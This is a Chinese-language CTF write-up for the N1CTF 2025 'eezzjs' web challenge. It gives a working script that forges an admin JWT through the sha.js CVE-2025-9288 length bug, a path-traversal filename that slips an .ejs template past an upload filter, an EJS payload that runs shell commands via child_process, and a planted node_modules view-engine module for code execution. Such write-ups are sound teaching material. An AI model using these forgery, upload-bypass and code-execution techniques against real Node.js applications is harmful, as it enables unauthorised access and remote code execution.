n1ct2025-wp

前言

n1的题目真难,又刷新了对自己的定位,最简单的一题考的js,但是对js不是很熟悉

eezzjs

这题有两个点

  • 首先是登录,因为没有注册功能,只有一个admin用户,所以只能想办法得到一个合法的token来进行登录
  • 登录成功之后可以进行文件上传,但要求不能包含字符串’js’

不难注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}

可以指定文件进行渲染,如果我们能上传一个.ejs文件,就可以实现rce了

关键是如何伪造出合法的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length:payload.username.length,iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}

return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};

签名的时候用的密钥是随机数,我们没办法获得,所以一直想不到如何伪造这个token

赛后看wp发现,如果debug一下,执行npm install 就会发现使用的sha.js版本是有cve的

[CVE-2025-9288]

image-20251117183312766

一个简单的payload就可以很直观的理解这个漏洞

1
2
3
4
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

也就是如果我们传给update的参数是一个对象,他就会尝试将他转换成buffer,此时可以利用length:来控制被哈希的字符串的长度

如果我们控制length使得被hash的内容长度变成零,那么在密钥长度相同的情况下,得到的哈希值是相同的,于是就得到了我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const sha = require('sha.js')
const {verifyJWT} = require("./auth");
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => {console.log('[DEBUG] m =', m); hash.update(m)})
return hash.digest('hex')
};
const toBase64Url = (input) => {
const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
return buffer
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
};
const header = {
"alg": "HS256",
"typ": "JWT"
};
const len=-(JSON.stringify(header).length+18); // username: 'admin'
var payload = {username:"admin",length:len};
const secret = 'q'.repeat(18);//被哈希的内容为空时,哈希值只和密钥长度有关
console.log(sha256(...[JSON.stringify(header), payload, secret]));
const body = '{"length":-45,"username":"admin"}';
token = [
toBase64Url(JSON.stringify(header)),
toBase64Url(body),
sha256(...[JSON.stringify(header), payload, secret])
].join('.');
console.log(token);
console.log(verifyJWT(token,secret));

运行得到token

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NSwidXNlcm5hbWUiOiJhZG1pbiJ9.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

现在登录的问题解决了,我们要想办法实现rce

waf

1
2
3
4
5
6
7
var {filedata,filename}=req.body;
var ext = path.extname(filename).toLowerCase();

if (/js/i.test(ext)) {
return res.status(403).send('Denied filename');
}
var filepath = path.join(uploadDir,filename);

可以用..来绕过 filename = ../../app/views/exploit.ejs/a/..

这样后缀名就为空,不会触发waf,同时文件也能上传到正确的位置,借用一下佬的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssti_payload = b"""
<%
const cp = (Function('return process'))().mainModule.require('child_process');
const data = cp.execSync('cat /ffffffflag', 'utf8');
%>
<pre><%= data %></pre>
"""
r = c.post(
"/upload",
json=dict(
filename="../../app/views/exploit.ejs/a/..",
filedata=base64.b64encode(ssti_payload).decode(),
),
)

最后再/?templ=exploit.ejs 就可以实现任意代码执行

但这并不是这题的预期解,nodejs的文档中有一个说明

1
If the exact filename is not found, then Node.js will attempt to load the required filename with the added extensions: .js, .json, and finally .node. When loading a file that has a different extension (e.g. .cjs), its full name must be passed to require(), including its file extension (e.g. require('./file.cjs')).

也就是require一个文件的时候这个文件没找到,那么他就会尝试给他换不同的后缀名(js,json,node)

我们这里就可以上传.node文件来实现rce

discord上还有一个佬的做法是,上传一个pwned文件到/app/node_modules/pwned

1
2
3
4
5
6
7
8
9
{"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}

decode

function __express() {
console.log('pwnedb');
}

module.exports = { __express };
  • 因为它存放在 node_modules 目录下,任何 require('pwned') 调用都会加载这个文件。
  • 它导出了一个名为 __express 的函数。在 Express 生态中,一个模块如果导出了 __express 函数,就意味着它可以作为一个视图引擎被 Express 加载和使用。

这时再上传一个任意的1.pwned文件,随后使用?templ=1.pwned进行渲染,此时Express不知道如何处理.pwned文件,于是它会尝试加载一个名为 pwned 的视图引擎模块。它的查找逻辑是:require('pwned')。因此就调用了我们的__express函数,这样就可以执行任意代码了


n1ct2025-wp
http://example.com/2025/11/17/n1ctf2025-wp/
作者
onehang
发布于
2025年11月17日
许可协议